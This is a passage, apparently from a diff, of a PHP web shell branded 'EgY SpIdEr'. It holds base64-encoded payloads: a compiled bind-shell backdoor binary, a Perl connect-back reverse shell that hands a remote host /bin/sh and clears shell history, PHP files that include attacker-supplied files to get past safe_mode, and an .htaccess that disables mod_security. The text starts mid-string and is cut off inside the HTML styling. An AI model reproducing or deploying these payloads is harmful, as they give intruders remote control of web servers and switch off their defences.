+CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g +aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw +gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG +9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0="; +$port_bind_bd_cs="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; +$back_connects="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KaWYgKCEkQVJHVlswXSkgew0KICBwcmludGYgIlVzYWdlOiAkMCBbSG9zdF0gPFBvcnQ+XG4iOw0KICBleGl0KDEpOw0KfQ0KcHJpbnQgIlsqXSBEdW1waW5nIEFyZ3VtZW50c1xuIjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKCRBUkdWWzFdKSB7DQogICRwb3J0ID0gJEFSR1ZbMV07DQp9DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi5cbiI7DQokcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJykgfHwgZGllKCJVbmtub3duIFByb3RvY29sXG4iKTsNCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAoIlNvY2tldCBFcnJvclxuIik7DQpteSAkdGFyZ2V0ID0gaW5ldF9hdG9uKCRob3N0KTsNCmlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRwb3J0LCAkdGFyZ2V0KSkgew0KICBkaWUoIlVuYWJsZSB0byBDb25uZWN0XG4iKTsNCn0NCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGxcbiI7DQppZiAoIWZvcmsoICkpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICBwcmludCAiLS09PSBDb25uZWN0QmFjayBCYWNrZG9vciB2cyAxLjAgYnkgU25JcEVyX1NBIHNuaXBlci1zYS5jb20gPT0tLSAgXG5cbiI7IA0Kc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBlY2hvIC0tPT1TaGVsbD09LS0gIik7IA0KICBleGVjIHsnL2Jpbi9zaCd9ICctYmFzaCcgLiAiXDAiIHggNDsNCiAgZXhpdCgwKTsNCn0="; +$egy_ini="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4="; +$htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+"; +$egy_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4="; +$egy_vb="DQo8aHRtbD48aGVhZD48dGl0bGU+RWdZIFNwSWRFciA8L3RpdGxlPg0KPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCnRyIHsNCkJPUkRFUi1SSUdIVDogICNkYWRhZGEgOw0KQk9SREVSLVRPUDogICAgI2RhZGFkYSA7DQpCT1JERVItTEVGVDogICAjZGFkYWRhIDsNCkJPUkRFUi1CT1RUT006ICNkYWRhZGEgOw0KY29sb3I6ICNmZmZmZmY7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjZGFkYWRhIDsNCkJPUkRFUi1UT1A6ICAgICNkYWRhZGEgOw0KQk9SREVSLUxFRlQ6ICAgI2RhZGFkYSA7DQpCT1JERVItQk9UVE9NOiAjZGFkYWRhIDsNCmNvbG9yOiAjZGFkYWRhOw0KfQ0KLnRhYmxlMSB7DQpCT1JERVI6IDE7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICMzMzMzMzM7DQp9DQoudGQxIHsNCkJPUkRFUjogMTsNCmZvbnQ6IDdwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCi50cjEgew0KQk9SREVSOiAxOw0KY29sb3I6ICNkYWRhZGE7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICAjZWVlZWVlICBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICNkYWRhZGE7DQp9DQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItTEVGVDogICMwMEZGMDAgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMwMEZGMDAgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiA5cHQgdGFob21hOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpzZWxlY3Qgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI2RhZGFkYTs7DQp9DQpzdWJtaXQgew0KQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDEgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzI3MjcyNzsNCndpZHRoOiA0MCU7DQpjb2xvcjogI2RhZGFkYTsNCn